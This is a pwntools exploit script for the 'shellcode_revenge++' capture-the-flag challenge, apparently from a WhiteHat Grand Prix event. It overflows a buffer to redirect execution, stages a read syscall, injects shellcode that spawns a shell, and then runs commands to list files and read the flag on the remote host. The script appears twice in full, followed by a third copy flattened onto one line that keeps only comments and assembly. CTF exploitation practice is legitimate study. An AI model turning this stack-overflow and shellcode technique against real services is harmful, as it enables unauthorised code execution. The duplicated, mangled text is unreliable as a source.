<gh_stars>10-100
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./shellcode_revenge++')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'shellcode-revenge.grandprix.whitehatvn.com'
port = int(args.PORT or 10203)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
#break *0x{exe.symbols.main:x}
gdbscript = '''
b *main+217
continue
'''.format(**locals())

# Execute the target binary locally
def local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Connect to the process on the remote host
def remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

start = local if args.LOCAL else remote

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
io = start()

io.recvuntil(' ]:')

io.sendline("No_Need_For_Alpha_Shellcode")
io.recvuntil('Leave some messege for me!')

payload = cyclic(16)
payload += p64(0x601200)
payload += p64(0x4008F3)
io.send(payload)

# We just want some shellcode to call read with more length
# Registers are set up ok for the most part. Just have to read 
# from stdin, and set pointer to buffer, then call syscall
# all in 12 bytes, plenty to spare.
shellcode = '''
  xor rdi,rdi
  mov rsi, 0x601200
  syscall
'''
shellbytes = asm(shellcode).ljust(24, '\x90')

payload = shellbytes
payload += p64(0x6011f0)
# Make sure we don't send a newline. Otherwise it'll mess us up
pad = 0x20 - len(payload)
payload += '\x90'*pad
io.send(payload)

# Make sure we align the shellcode correctly so that we can execute it
shellcode  = '\x90'*18
shellcode += asm(shellcraft.sh())
io.sendline(shellcode)

# We should now have shell

sleep(1)
print io.sendline('echo HACKED')
print io.sendline('cd /home/shellcode_revenge++/')
print io.sendline('ls -la')
print io.sendline('Flag is:')
print io.sendline('cat flag')

io.interactive()


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./shellcode_revenge++')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'shellcode-revenge.grandprix.whitehatvn.com'
port = int(args.PORT or 10203)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
#break *0x{exe.symbols.main:x}
gdbscript = '''
b *main+217
continue
'''.format(**locals())

# Execute the target binary locally
def local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Connect to the process on the remote host
def remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

start = local if args.LOCAL else remote

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
io = start()

io.recvuntil(' ]:')

io.sendline("No_Need_For_Alpha_Shellcode")
io.recvuntil('Leave some messege for me!')

payload = cyclic(16)
payload += p64(0x601200)
payload += p64(0x4008F3)
io.send(payload)

# We just want some shellcode to call read with more length
# Registers are set up ok for the most part. Just have to read 
# from stdin, and set pointer to buffer, then call syscall
# all in 12 bytes, plenty to spare.
shellcode = '''
  xor rdi,rdi
  mov rsi, 0x601200
  syscall
'''
shellbytes = asm(shellcode).ljust(24, '\x90')

payload = shellbytes
payload += p64(0x6011f0)
# Make sure we don't send a newline. Otherwise it'll mess us up
pad = 0x20 - len(payload)
payload += '\x90'*pad
io.send(payload)

# Make sure we align the shellcode correctly so that we can execute it
shellcode  = '\x90'*18
shellcode += asm(shellcraft.sh())
io.sendline(shellcode)

# We should now have shell

sleep(1)
print io.sendline('echo HACKED')
print io.sendline('cd /home/shellcode_revenge++/')
print io.sendline('ls -la')
print io.sendline('Flag is:')
print io.sendline('cat flag')

io.interactive()
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # Set up pwntools for the correct architecture # Many built-in settings can be controlled on the command-line and show up # in "args".  For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB #break *0x{exe.symbols.main:x} b *main+217 continue # Execute the target binary locally # Connect to the process on the remote host #=========================================================== #                    EXPLOIT GOES HERE #=========================================================== # We just want some shellcode to call read with more length # Registers are set up ok for the most part. Just have to read # from stdin, and set pointer to buffer, then call syscall # all in 12 bytes, plenty to spare. xor rdi,rdi   mov rsi, 0x601200   syscall # Make sure we don't send a newline. Otherwise it'll mess us up # Make sure we align the shellcode correctly so that we can execute it # We should now have shell